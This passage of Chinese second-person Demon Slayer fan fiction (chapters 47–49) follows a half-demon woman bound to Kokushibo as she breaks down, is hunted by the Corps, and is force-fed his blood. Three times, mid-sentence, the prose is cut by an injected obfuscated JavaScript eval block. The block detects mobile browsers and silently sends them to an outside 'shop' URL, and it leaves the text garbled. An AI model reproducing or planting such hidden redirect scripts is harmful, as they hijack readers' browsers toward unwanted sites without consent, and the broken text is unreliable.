“人的情绪、情感……影响肉质……胃脆脆的……” 这是什么声音,你已经在臆想中开始啃食人类的内脏了吗? 泪水模糊了视线,流淌下来。你不敢张开嘴,发出呜呜的哭声。 香奈惠喘着粗气靠近:“这些天,我有空就在国立博物馆蹲守,可惜一直没碰到你。” 对了,你模模糊糊地想到,那天她一定是看到你包里的门票了。国立博物馆,黑死牟就在那里吧,让我也……去那里…… 脑海里冒出更多的声音: “洋人盖的洋庙,不行。” “你还记得我说过的那个山上的教派吗?” “万世极乐教。” “教主大人!” …… 好多奇怪的声音…… 香奈惠还在劝着你:“所以,感受到我的诚意了吗?你是特殊的,请相信我可以在鬼杀队找到你的位置,和我走吧。” 好吵…… 你捂住耳朵,眼泪扑簌簌地掉落。 想要……到黑死牟那里…… “你这样,跟在上弦之一身边,很辛苦吧?”她撑起身子抚上你湿漉漉的脸,“留下来,你可以活得有尊严,不必把鲜血献给谁。” “不。”你终于在无边的欲海中抓住一丝恢复清明的稻草,坚决地推开了她。 “黑死牟,他,是我的丈夫,最亲的亲人,和朋友,”你一字一句地说,“我永远不会离开他。” 香奈惠彻底愣住,手不自觉松开。 太好了,可以走了。 你扶着墙歪歪扭扭地站起来,想要辨清方向—— “虫之呼吸·蝶之舞!” 你一头栽倒,刀尖钉入地面,碎石飞溅,砸到你的脑袋。 “姐姐,姐姐!” 是谁在喊?让我走,让我走啊! 你匍匐在地上爬行,更多乌鸦飞过来,聒噪地喊叫着。 “这里!这里!” 光子哭着跑回来:“我、我去叫人了,这儿没人!夫、夫人?” 黑色的鸟儿扇动翅膀聚起一片小小的乌云。 “这里!” 黑死牟等在博物馆的门前。这里已经过了对外开放时间,但对鬼来说并不成问题。 他估计你还有一会儿才能到,但是没有关系,他愿意等。他是计算好了时间,特意提前到的。 你离开后的屋子实在空荡得可怕,摆了好几局棋也下不下去。他就丢下棋子出来,让赴约的路途驱散掉那股不安的感觉。 黑死牟走得很慢很慢,有意让这段不长的路程结束得晚些、再晚些。胸口的鼓噪已经到了不容忽视的地步,他微微地喘着气,感觉那里还能再快一点,直到你出现时达到巅峰。 不像是单纯的激动或期待,可能还混着点儿紧张和慌乱。黑死牟发现自己的手在抖,还好,不厉害,可以忽略。 在这个仿佛充满魔力的时刻,任何一点微小的变化大概都会引发惊人的连锁反应。黑死牟觉得,自己的心情在往好的那一方面跃迁。他想起你们结婚的时候,你小小的手整个躺在他的掌心里,也在轻轻地颤抖。 那真是很小的一只手,很乖地让他握着。现在想来,你人也很小,完全是个孩子,就嫁给他了。当然,那会儿他也是个孩子,什么都不懂,也没有人教。 不过,这不重要,是你就很好,好到他开始发颤。原来,人在接近幸福的当口,也是会感到畏惧的。 他在等着你。 光这么想想,就该畏惧了。 上位的鬼可以直接在脑内和下位鬼对话,但和你的话,当面说更好。等待的过程也是这“好”的一部分,他可以在憧憬与幸福的不断累加中,酝酿好最妥帖的表达。 他想告诉你,在你离开后没多久,他就想了起来,那个问题的答案。 当你出现在这里,小跑着过来拥抱他的时候,他就可以肯定地告诉你:是的,我们的的确确是因为相爱才在一起的。父母之命、家族利益都是外在于你们的东西,没有那些,他一样选择你,和你度过余生。 黑死牟等待着。 光子目瞪口呆地看着头顶的鸦群。有那么一两秒,她怀疑自己是不是没有听你的劝告,误伤了它们中的哪一只,才招来如此可怕的报复。 鸟儿们一只只落下来,停在墙头、树枝,发出怪叫声。她听了一会儿才意识到它们是在说人话。 “这里!” “花柱遇袭!” “上弦之二!” 身穿条纹外套脸缠着绷带的怪人揪着头发把你从地上提起来:“上弦二,就这?呃,好恶心。” 湿滑的头发快要握不住,才发现那里已浸满了血液。 白发一脸疤痕的男人抽出刀:“别掉以轻心,上次它可是跟着上弦之一。” “那还有点儿意思,其他人什么时候到?” 实弥看看附近的乌鸦:“柱的话只有我们吧,不对,还有那个新来的……” 不是,这些人什么时候到的?她只眨了一下眼吧?光子大叫一声冲上去:“放开她!放开夫人啊!” “夫人?”绷带男单手就摁住了她,“怎么搞的?蝴蝶,快把无关人弄走啊。” 光子憋红了脸,腿使劲地蹬地,前进不了分毫。 蝴蝶忍取出药水和纱布哭着给姐姐止血:“请先等等。” 香奈惠摇着头要重新坐起来:“听我说,她……” 你拼命地挣扎起来:“让、让我走……” 让我离开这个地方,离开越来越多的人,我、我不想吃…… 可是,好饿,饿得快要不行了,好想要,吃一口啊。 “嗯?”他把你拖过来,方便直视那一头乱发下的黑眼睛,“你还想去哪里?” 光子猝不及防抬手,一把土丢在了绷带男脸上,然后被游在身上的白蛇吓得尖叫连连。 旁边,实弥立即回身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17186535|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去捉,你已跌跌撞撞扑在墙上。 “她要去找上弦之一!”香奈惠终于把话说完了。 所有人安静下来。 你晃晃满是噪音的脑袋,双手摸索着想要借力再站起来。不行,这儿什么也没有。你举起手,握住身前淡淡的绿色。 指腹陷入泛光的锋刃,鲜血漫过指缝,沿着刀尖低落。 “呼……呼……可以了……” 深一脚浅一脚地走着,头皮上的血已经干掉,头发还湿哒哒地黏在脸上,弄得你很难受。才揉了揉,有个什么东西啪嗒一下掉地上摔碎了。 看着,好像是一枚百合花形状的发夹? 你继续走着,腰背佝偻,形同丧尸。惨淡的月光照得地面一片白茫茫,身后跟随着乌鸦。 好像有一次,你也这么走着,去见一个人,是谁呢? 耳边越来越吵了。 “上帝为什么不来救我?” “为什么,为什么啊!” “剑士大人,把他们救回来吧!” “我们一家人照相去。” …… 为什么,要这么吵,堵住耳朵也没有用啊。 “夫人,夫人!”光子叫着,你毫无知觉,继续往前走。 “让她去,”绷带男抄起手,脖子上的蛇也气鼓鼓的,“是人是鬼都分不清,咬一口就知道痛了。” 她飞奔而去。 你一步没走稳撞到她身上。 “夫人您怎么样了?” 她在哭,她在……流血…… 你摸到了她的脖子,有力的脉搏撞着你的手心。 扑通、扑通,那是生命的源泉在叮咚。你毫不怀疑,自己可以轻易地撕开那里。一口,只要一口,痛苦就结束了。 你僵立着不动,好像回到了五岁,邻居家的姐姐捉住了一只蝴蝶,要把它塞进矿泉水瓶里,喊你来帮忙。蝴蝶扑腾得太厉害,你听话地两手合握住,感到那对脆弱的翅膀扑啦啦地扇在瓶身上,害怕地出了一身汗。 手底下的脉动不比一只昆虫的挣扎强多少,而你早不是五岁了。 你伸出了手。 “伊黑君、不死川君!”蝴蝶忍大叫。 咚!光子身体一歪后脑勺撞墙上晕过去。 你微笑地看着自己的手。记起来了,五岁的你也是这么做的,瓶子掉下去,蝴蝶飞走了。它飞舞的翅膀很美丽,很美丽。 你摇晃着转身,仍往前走,喉咙里呛着咯咯的笑声,泪水再次流淌出来,流经脸上风干的血迹,变成浑浊的液体滴滴滚落。 骗人的,痛苦并不会消失。一直以来,感到饥饿,痛苦;忍耐着不吸血,痛苦;去吸血,痛苦;接受自己必须要吸血活下去,加倍地痛苦。 你从来没有告诉过他,这样真的好痛苦啊,痛苦得要死掉了。 走到哪里了呢?你听到街上有行人发出惊恐的叫声。确实比较奇怪吧,一个蓬头垢面浑身沾血的女人出现在夜晚的街头,还真是怪吓人的。 白发男人沉稳的声音响起:“所有人原地待命,柱级以下剑士,不许跟上来。” 你头也不回地走着。 绷带男挥刀砍掉途中不知死活扑上来的食人鬼,不住地抱怨:“一只鬼,竟然还是稀血,真麻烦。” 他们紧紧地跟着你。 鬼杀队和政府没有合作,骚乱继续扩大引来警方的话,很难收场。但如果能直面上弦之一,这就是值得的。 你思维恍惚,那些平日里能把你吓到半死的怪物,此刻就像被屏蔽了一样。 只想要……去那里。为什么,还不到呢? 你踏上闹市的街头,惊呼声此起彼伏,场面顿时混乱起来。隐的成员跑了跑去,用担架抬走晕倒的光子,其余人帮忙疏散现场。蝴蝶忍苦劝姐姐撤离未果,一同留在原地,两人时不时望过来观察进展。 实弥、伊黑举着刀一刻也不敢放松,既要堤防不知在哪里的上弦之一,还要警惕你会不会突然暴起伤人。 “这样不行,夕庵,继续寻找柱的支援。”伊黑分身乏术,不耐烦地问道,“他人呢?” “已经来了。”杀鬼的间隙,实弥抬头看一眼,街道那一边划过薄荷绿的剑光。 “等等,我们是不是还没有告诉他——” “霞之呼吸·六之型·月之霞消。” 雾气般光影缭乱的刀锋直冲向你。 你愣愣地站直,眼看着那轻捷的利刃就要突入你的喉咙。 “止一,”你说,“你怎么在这里,哥哥呢?” 止一,为什么会在这里?奶娘不是看着他们兄弟俩吗,怎么会让他一个人跑出来? “止一……”你想去拉他的手被一下子甩开,掌心空落落地停在半空中。 “止一……”你叫着,他一脸崩溃地扭头跑开了。 唉,这孩子,学什么不好,就学他哥哥,发完脾气就跑。这样可不太好啊。 你很担心他,天色这样晚了,路也不好走,他一个小孩儿怎么能到处跑呢?你跌跌撞撞追上去。 “止一,止一?等一等,我、我赶不上你。” “止一,听话,快回家去。” “止一……” 他越走越快,你虚弱的身体完全跟不上,距离拉得越来越远,你只能不住地呼唤: “止一,不要生气,回去告诉哥哥,说妈妈一会儿就来……妈妈、妈妈是去找爸爸的,我去叫他回来,我们、我们一家人还……” 你一个趔趄险些摔倒,双手扶住膝盖。 对了,你是去找丈夫回家的。你要找的,是岩胜啊。从来都是岩胜。 岩胜呢? 他在哪里? 你茫然四顾。 岩胜、岩胜、岩胜、岩胜…… 你找着他。 在哪里呢? 岩胜…… 你向着紫色的身影走去。 “太好了,岩胜,你在。我、我看到我们的孩子了,我……” 你抬起头,退后半步。 岩胜长着六只眼睛。 世界在变黑,它们一同融化了。 48.第 48 章 我们身在水中央,反而渴死了。——《变形记》 伊黑小芭内转头看向同伴:“我们是不是都看走眼了,它其实有很强大的血鬼术?” 不然怎么抱谁谁晕? 不死川实弥摸摸地上无一郎的额头:“他发烧了,烧得很严重,让‘隐’过来吧。” 伊黑心中犹忿忿的:“回去让蝶屋检查一下那个突然冲上来的奇怪女人就知道了,肯定有什么我们不知道的血鬼术。” 他看得很清楚,那个传闻中的上弦之一虽然闪了一下就不见了,但你扑过去的时候,它明显僵住了。 真是强大的血鬼术。 “不管了,先回去。”实弥把无一郎抱上担架。不管是什么样的恶鬼,他都会屠戮殆尽,这只是时间早晚问题。 光子醒过来的时候没有急着动弹,她眯着眼睛先偷偷看了一下:嗯,是普普通通、平平无奇的天花板。木梁排列成整齐的格子,看起来轻巧又开阔。应该不是什么奇怪的地方。 她再小幅度地动了一下手脚,很好,那里没有被束缚。看来是得救了,她都没事的话,夫人也在的吧? 光子兴奋地睁开眼,刚要坐起来,谁料一个转身看到床头一排三个人直勾勾地盯着她! “啊啊啊!”光子吓死了,抱着被子疯狂往里缩。 “她醒了。”寺内清说。 “去叫小葵来。”中原澄说。 “还有忍小姐。”高田奈穗说。 光子一脸懵,看着她们三个哒哒哒地跑了出去。不一会儿,床前就围满了人。 这是要干什么?她警惕地看着这些突然冒出来的奇奇怪怪的人,紧张地说不出话。 夫人教过,敌不动我不动,就看他们要说什么吧。光子嘴抿得很紧,全身写满了抗拒。 然后她就被拖走了。 拖走了。 “为什么啊!”光子大叫,“你们放开我啊!” 反抗无效,她被捆起来蒙上眼塞到一个人背上,一路颠得七荤八素跑远了。她还要喊,那人就停下把她嘴也堵了。 大概是跑出的大门的时候,她听到有人说:“看到没,她就是那个和上弦之一、上弦之二都有关系的女人。” 不是,这都什么事啊! 花柱蝴蝶香奈惠遭遇上弦之二,力战不敌,已因伤病引退的消息,在柱合会议上正式公布。对此,各位柱的反应完全不同。 “竟然在不到半年的时间里两次遇到上弦,羡慕!” “两次华丽地全身而退,不错,战胜上弦指日可待!” 热烈的气氛里,唯独霞柱时透无一郎没什么表示,他安安静静地低着头,好像在看蚂蚁搬家。主公特意关怀病情,他也只是简短地答了一句“没有关系”。 其实还有点低烧,但这种程度不影响什么。杀鬼才是最重要的,他要来这里,听从主公下一步的安排。 鬼杀队史无前例地接连两次遭遇上弦鬼,且队士幸运生还,情报交流、总结经验都万分重要。 香奈惠尽管还处在伤重期,仍在妹妹的帮助下出席了最后一次柱合会议,详细回忆了她和童磨的每一场战斗。和上次对战上一不同,这是一次充满细节的经历。她的口述和治疗数据都包含大量有用的情报,雏衣、日香认真地记下来。 与之形成鲜明对比的,是几乎毫无情报的上弦之一。 “因为昏倒的缘故,我没有看得很清楚。目测上弦之一身高不超过两米,体重不超过100公斤,身上佩刀,能力不明,但速度很快,目前来看超出我们所有人。不死川与伊黑可能还有补充。”无一郎用毫无起伏的声调说完,就闭口不说话了。 实弥烦躁地握紧拳头:“我……惭愧,只能确定他是擅长用刀的鬼。” 第一次骤然面对上弦一,是在一间漆黑的屋子里。除了对方步步紧逼、气势凌厉的剑气,他实在分不出精力去顾及其他。到了屋外,拼着命去厮杀,也不过是靠着特殊体质多坚持了一会儿。这一回,更是连上弦二的衣角都没有碰到。 香奈惠说完那一段长长的话已经很累了,还是撑起身子投给他一个安慰的眼神。对于那晚的战斗,她也说不出什么,那是完完全全的,被碾压的局面。 伊黑小芭内藏进衣领的半张脸看着阴沉沉的:“我也没有看出什么有用的。” 一时之间,现场的气氛有些沉闷。 炎柱炼狱杏寿郎率先打破沉默:“没有关系!我们有了更多的经验,下次就可以知道了!” “哪有那么容易啊,鬼杀队” “真羡慕你这能把一切想简单的脑袋。” 香奈惠又看一眼实弥,咳嗽着道:“还有一样情报,我在上弦一手中逃脱后就书面提交给了主公,并且得到了允许。现在,我认为有必要让大家知道。” 说完,她向檐下主公的位置颔首,明显已和后者达成了一致,很快流利地讲述起来:“这件事,风柱也是见证人,我们两次遭遇的上弦之鬼身边,都跟着同一只鬼……” 她冷静地将和你几次来往的经历讲述出来,略去那些谈话不提,重点是你所流露出来的对人的态度,罕见的社交行为,还有和其他鬼共同生活的习性。 “所以,我认为,只要我们持续地追踪她,早晚有一天,还能和上弦鬼对上。我想请求主公给予方便,让我退出柱的行列后,可以继续以鬼杀队成员的身份与之对话。” “她?”伊黑看住香奈惠,“我想确认一下,你说的的确是一只鬼吧?想起来了,那天你就是一口一个‘她’的称呼那只鬼。你没有问题吗?不会也是让它的血鬼术攻击了吧?” 香奈惠表情不变:“我很确定,她没有血鬼术。时透还有那个孩子,蝶屋都认真检查过了,没有任何受到血鬼术影响的痕迹。” 实弥神色不定,想要说什么,最终忿忿地抱起手。 音柱宇髓天元也发表了类似的看法:“就算是你说的那样,这也只是一只比较聪明会和人类合作的鬼罢了。它分利给部分人是为了最终吃下更多的人,我看不出有什么特别的。而且,经过这样的事,它早就抛下那些人了吧,还追踪得到吗?” 香奈惠:“不试试,怎么知道?这是我们找到上弦唯一的机会了。” “唔姆,那就交给我来吧!让伤退的伙伴继续追剿恶鬼真是过意不去,这样简单的任务,就交给我来完成!”炼狱杏寿郎大声道。 音柱:“追查蛛丝马迹,是我的强项。” 水柱富冈义勇:“我也可以。” 实弥抬起头来:“我和伊黑比较熟悉那只鬼的气息。” 无一郎说出了今天的第三句话:“要作战吗?” 一向持重的岩柱也发话道:“既然有面临上弦的可能,主公,就请派我去吧。” “这就是我今天要说的话了,”香奈惠扶着妹妹的手站起来,艰难地行礼,“主公,我希望这项任务还由我来执行。” 就在光子以为自己要被丢角落里长草的时候,一群装束奇怪的蒙脸人冲进来,七手八脚地抬起她塞进一间屋子里。 眼睛上的布扯下来,光子条件反射地捂住脸。室内的寝灯不怎么亮,但因为陷入黑暗太久,她还是觉得刺眼。 最初的不适过去后,她发现自己被一群怪人包围了。 原来脸上缠绷带的带蛇男人还不是最怪的,这里还有脸上有红色印记浑身亮闪闪的男人,头发一半金一半红的男人,身高体重堪比熊的盲眼男人…… 林林总总的怪人簇拥过来,光子眼前黑了一黑又一黑,来不及说什么,就被一连串的提问淹没了。 “这就是你们说的那个女孩?” “看着很普通,完全没有华丽的气质。” “喂,快说你和那只鬼是什么关系! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195478|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “别这样,主公大人让我们放了她。” “可以放,让她先交代清楚了。” “快说!” …… 光子惊恐地看着他们越靠越近,嗫嚅着半天说不出一句话。 “我我我,”她结结巴巴,好不容易把舌头捋直,“你们说的这些,我全都听不懂。” 她老实巴交地搓着手:“我可以走了吗?我还要上班呢。” 过去几天了?没人告诉她啊!迟到了就完蛋了,不想丢工作啊!社长很好心地预支了几个月的薪水用于食宿,她已经花掉了一部分,丢工作的话还不起啊! 屋子里安静了一瞬,六七双眼睛死死地盯过来。光子抖如筛糠,差点儿给跪了。 最后,还是那个先前纠缠夫人又跟踪她的女人出面解了围。 “让她去蝶屋,我会给大家一个满意的答案。”她说。 再次被蒙着眼甩到某个人的背上,光子才迟钝地想到:看来,他们没有找到夫人,我也应该是安全的。 虽然一直表现得开朗外向,但长期寄人篱下的她其实非常擅长察言观色。光子确信,这些人不像是会自己下手的样子,刚才的表现的确让他们恼火,但敌意也显著地下降了。 这样再撑几天就没事了吧。出去先和你说过的诗织小姐联系,请她帮忙,再好好跟社长说明一下,迟到几天问题不大。 脑子里正盘算着,路又颠簸起来。光子痛苦地长叹一声,乖乖地伏在那人的背上。 看着隐背起人跑远,柱们也三三两两地从屋里出来。 蝴蝶忍给无一郎重新测量了体温,一脸严肃地要求他立刻去蝶屋复查。 悲鸣屿行冥在一旁转动着念珠劝香奈惠好好休息,让小忍多多看护姐姐。 香奈惠笑着应下,看向妹妹的眼神却满是担忧。 就在今天,小忍的培育师传信告诉她,小忍已经到了可以通过最终试炼的水平。拯救幸福未被破坏的人是她们姐妹共同许下的诺言,可现在,她的心态已经发生变化。 小忍,可以有更轻松的人生。 实弦来到门外,站在她身后。 “就算主公答应了,我也不认同你的想法,”大家散去后,他才开口,“我会自己想办法找到那只鬼的。到时候,别再试着拿这一套来说服我。” “那你有把握战胜上弦之一了吗?” 实弥脸黑掉:“我已经做好了准备……” “准备去送死?”香奈惠看着他,“实弥,我不知道你为什么突然间这样的不理智。记得吗?她救过不止一个人。那晚,你和我,可以说是她放了一条生路。上弦二这次,我也是得到了她的帮助,才能活下来的。” 实弥半天不说话,他清楚香奈惠没有把这些放柱合会议上讲,是考虑了他的心情。 “这是我的耻辱。”最终,他道,“而且,你就有更好的办法吗?说来听听,看能不能说服我。” “其实并没有,”她痛快地承认,“我只是等而已。” 等你自己联系她。 鎹鸦振翅起飞,越过众人,在空中盘桓两圈,找准方向远去,地上的房屋和人缩成小小的点。它飞过重重山岭,重新来到有人烟的地方,照例沿着几个月来飞惯了的路线梭巡。确定没有主人要的目标后,才拍拍翅膀,返回蝶屋。 那里,香奈惠躺病床上和妹妹的培育师说话,蝴蝶忍把自己锁屋子里闹别扭,小葵、小澄她们合力把洗净的床单挂在晾衣架上,太阳一晒散发出好闻的味道。 这座整洁明亮的庭院里,有人微笑,有人发愁,她们都为同一个目标努力着。 你也在努力着。 但你仍然没有找到机会给香奈惠写信。 这不是黑死牟一直看管的缘故,你早已把他推到了门外。可偌大一个无限城,好像连一片纸都没有。 49.第 49 章 不分上下左右也没有东南西北的异空间像活物一样蠕动着。 在这里,房屋、走廊、楼梯、平台每隔几分钟便旋转、颠倒,重新组合成新的建筑样式,重力方向也随之改变。墙面断开、屋檐摩擦的声音掉进深不见底的空洞,就像石子落入大海。 你昏沉沉地浮潜在这片海里,如同困在蛛网上的幼虫,任何一根细丝的震颤都增加你的痛苦。恍惚间好像回到了高考前夕,长期精神紧绷导致神经衰弱,进而感官过载,楼上有人扫地都睡不着觉。 无限城的变化何止是扫地能相比的程度。一扇门合上、打开,你就头晕目眩,几面墙翻转排列,你就恶心干呕,一栋楼拔地而起或凭空陷落,你就头疼得几乎要爆炸。 无休止的折磨中,你任由自己随意滚落到哪个角落,权当是冰箱里的一块肉静置着腐烂。 这间用屏风、竹帘、帷幕还有袄障子重重包围的房间,已经放下所有的屏障用来隔绝外界的变化。但当中的你并不比在水泥搅拌车里好受一些。 黑死牟尝试着把你抱起来,换一间更大、更小,更亮、更暗的房间,但区别仅仅是你在这里还是那里难受。 他长久地注视着你,突然想明白了什么,起身出去。不一会儿,耳边若有若无地响起两三声琵琶,以你为圆心的一大片区域总算安静下来。 可你的痛苦没有消减,反而因为周遭的和缓愈发鲜明起来。身心内部的失序远甚一座城的推翻重组,你悟到当物理学不存在,时间的意义也将消失,过去、现在与未来可以共存在一个人身上。 出笼的记忆比春日的凌迅来得更加灾难,不同时间段的点点滴滴一同涌来,在脑海里不知死活地一一上演,轰隆隆的往事如河面的浮冰激烈碰撞,裹挟着觉醒的洪水一路撕扯着冲破脆弱的两岸。 你面对这一泻千里的洪流无能为力,它的力量愈发强大,你就愈发孱弱。神经对外界的感知无比灵敏,却对自身的掌控趋近于零。 饥饿是早被遗忘的感觉,黑死牟的血腥气和他的六只眼睛一样让你觉得害怕。没当他靠近,你惊恐到僵直、发抖。 但你也没什么力气抗拒他,茫然地随他摆弄来摆弄去,洗掉身上和头发里的血污,挪到不同的位置,躺平或者靠在他的胸膛、膝盖。做这些的时候,他明显很笨拙,大概是很久没有做过了,每一步结束都要思考一下,但还是会不小心扯到你的头发或压到哪里。但因为你几乎一动不动,他还算顺利地完成了。 他的动作很轻很轻,但你依旧感到害怕,不敢看他,肢体颤动着,做出“推”的动作。 出去、出去、出去…… 喉咙里发出无意义的气声。 黑死牟握住了你的手。 “那不是我们的孩子,”他说,“不是的。” 他想表达的似乎还有很多,话到嘴边只剩下这一句,只好笨嘴拙舌地重复着。 你有无数的怒火和质问要倾泻而出,但它们经过惊涛骇浪的意识之海,就化作熄灭的灰烬,徒留肢体末端的细微的动作。 出去、出去、出去…… 流血的手指伸过来,红色如丝如缕滴落在嘴唇,沿着紧闭的弧线向两侧滑落。你在昏昏然中牙关紧闭,用全部的神志反抗他好心的馈赠。 黑死牟不能容许这样的拒绝,另一只手强硬地掰着下巴,手指捅进来搅动舌头,铁锈的味道混合着重新分泌的口水流经咽喉,咽不下去的从嘴角横流出来,弄脏脸颊。他松开钳制的手,改为扶住你的后脑,喂进更多的血。 你抗争未果,额角浮出抽搐的青筋,怒目圆睁,拉长的瞳孔收缩成厌憎的细丝,胸口剧烈起伏。凌乱的衣物下,肌肉正以不正常的速度飞快隆起。 过量摄入的鬼血催生了急剧的鬼化,连同心底的愤怒、暴虐一同勾起。你嘶吼着挣扎起来,腰部挺起,踢蹬的双腿、乱抓的双头在榻榻米上挠出骇人的深深抓痕。艳丽的花朵一样的纹路在肩头爆开,一路如火如荼地盛放在脖子、锁骨,细长的藤蔓在小腹迂回地打转几圈,往大腿开枝散叶。 恶鬼的巢穴里,你的相貌愈发趋近于自己的同类,袒露出森然的鬼相,凶悍地攻击着对手。 黑死牟垂下眼睫,持续地注入鲜血。你真的无法忍受血食的引诱,堕落成那些低级的仅为本能驱动的食人鬼了吗。那样的话,你应该臣服在高位鬼的力量下,讨好地向他献媚。因为鬼就是这样把等级刻进骨子里的生物。 为什么,要如此放肆,僭越自己的地位,冒犯到丈夫头上?为什么…… “那不是我们的孩子啊。” 他想让你想明白这点,放下无意义的痛苦。那已是太久远的过去,你们可以一起遗忘。 不能原谅也没关系,你会需要他的,你总需要他。 可是,你仍在蓄力,疯涨的力气对上至高的上弦之一,依旧比螳臂当车还要渺小不值一提。他用一个怀抱化解掉所有的劲力,把你搂得更紧,手指抽出来,轻轻拭去唇边的血迹和脸上的泪水。 不能原谅也没关系,你会需要他的,你总需要他。 你在逐渐紧密的缠绕里困兽犹斗,表情空茫,双眼失焦,不知道在向什么发起冲锋。 泡沫一样的记忆碎片升起,恍惚间,好像回到了第一次在无限城中醒来,他六只金色的眼里倒映出你染血的脸。你那样认真执着,幼兽一样伏在他身上,足足啃掉了一只臂膀。 所剩无几的理智浮沉在惊涛骇浪的脑海。 我得离开这个人,你清晰地想着。 离开这个人,离开这个地方,不要再变成这种样子。 你终于把他推了出去,或者说,他终于顺从你的力道退到门外。 推拉门合上,最后的意志力也消失,你软倒在地,开始思考接下来怎么做。 仍被洪水冲刷着的大脑浮现不出任何有用的东西,它吱呀呀地转动几下宣布罢工。 你睡死过去,梦境里没有可担心的东西。 黑死牟跪坐在屋外,刀解下来放到旁边,远处此起彼伏的屋脊正如他现在的心情。 墙壁和门窗的阻隔算不了什么,通透世界里一切都是清晰的。身体里发亮的回路显示出它的状态,饥饿的影响已经消除,器官的运行恢复到正常水平。可你的状态看着还是让人放不下心。 他用眼神描摹着那副身体的边缘:陷入睡眠后,你的呼吸变得浅而长,心率降下去逐步平稳,因为应激绷起的肌肉慢慢松弛。二次鬼化的迹象平复,可眉心的紧皱没有消失,还有……他从来看不懂的头部的变化。 那些黯淡的区域、神秘的波动,还有因不同情绪产生的变化,究竟喻示着什么。要是能知道的话,就好了。 你还是睡着,他推开门躺在旁边也没有察觉。 你不知道自己睡了有多久,这个永夜的世界里没有用来标识光阴变换的东西。 醒来时窗外的模样已面目全非,一切还像初来乍到时新鲜,那么,那些错过的变化过程是否可被认为没有发生。 无限城的变形速度调整得很慢了,但再细微的改变也可以累加到沧海桑田的程度。一瞬间,恐惧压得你喘不过气来。因为忍不住会怀疑,又一次,在毫无知觉的情况下飞跃了二十多年的人生。 你呆呆地盯着眼前烛火摇曳的寝灯,没有注意到黑死牟从身后环抱过来,下巴抵在你的发顶,轻柔地蹭蹭。 情绪仍停留在绵长的梦境中,在那儿,你好像重新过了一遍战国时代从时透家醒来的人生。 你梦见在这横跨好几个世纪的纠缠中,流逝的并不是时间,而是你自己。 用第三人的视角观看完自己的经历,感觉很奇妙。这导致你仍然处在那种抽离的状态中,久久回不过神来。 但是,睡前那种喉头梗住的错觉也消失了。思维和逻辑的顺序重新变得有条理,语言能力应该也回来了。 可你,没有什么想说的。 你得找到纸,还有笔。更重要的是,想起那张撕碎的纸上到底写了什么东西。 光子绝望地看着时刻跟在自己身边的三个小女孩,香奈惠大概是把“套出情报”的任务交给了她们,于是她的个人空间已一去不复返。 “再给我们讲讲吧,就是你怎么从鬼手里逃掉的故事。” “还有你认识鬼的故事。” “讲讲吧,讲讲吧。” 光子:“……” 不是她不想交代完尽快脱身,而是“我交往了个男朋友他是鬼分手后翻脸要吃我”这件事,它实在说不出口哇! 即使没有活多少年,光子也能确信,就算到了入土的那天,这也是她人生中数一数二的黑历史,想想就会脚趾抠地! 绝对不会说出去! “就是花柱大人知道的那些了……”她一脸菜色道,“请问我可以去上班了吗?” 小葵路过,把柜子里的药品收拾好:“那你说说,救了你的那只鬼是怎么回事?” 光子跟戳了死穴一样,一声也不吭了。 夫人和先生都是鬼。这是她在感情上无法接受,理智上却已悄悄认定的事实。 因为,这样的话,她所有觉得不对劲的地方都有了合理的解答。 但夫人怎么能是鬼呢? 光子只能闭口不答。 这些天,为了讨好她们,光子笑脸相迎,主动帮人扫地、洗衣服、做饭,就没歇下来的时候。干完活,还学着小澄、小清、奈穗的样子做一些简单的护理,给伤员涂药、包扎之类的。 她干活麻利,会看眼色,人勤快又好说话,很快就和蝶屋的人打成一片。但这一切在他们知道她是“那个和鬼有关系的人”后,烟消云散。窃窃私语和背后交换的眼神一刻也没有停过,她端过去的水都会被偷偷倒掉。相比之下,蝴蝶忍直白的眼刀好受多了。 这些人对鬼的态度不言而喻。 小葵把柜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199783|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门关好:“不说,就不能走。” 说了才是从此走不了吧?光子死鱼一样瘫在病床上。 三个姑娘互相对视一眼,走开了。 “忍小姐出来了吗?” “没有吧?” “我们去看看她。” “顺便送一送那位培育师大人。” “好呀。” 房间里安静下来,她们都出去了,只留下小葵继续清点用过的纱布。门半掩着,传出三两个人从另一边说话着往外走的声音,其中大概有奈穗提到的培育师。光子抓紧时间放松自己,抱着枕头滚来滚去。 “我劝你早点招了好,”角落里,小葵冷冰冰的声音响起,“蝴蝶小姐没办法一直挡着,其他的柱可没有蝶屋的人好说话。当心落他们手里。” 光子缩一下脖子,乖乖停住。 小葵停顿一下,见她油盐不进,继续加码:“风柱大人和蛇柱大人见过吧,他们一直跟蝴蝶小姐要你呢。这两位又凶又爱折磨人,你要是跟他们就完了,知道吗?” 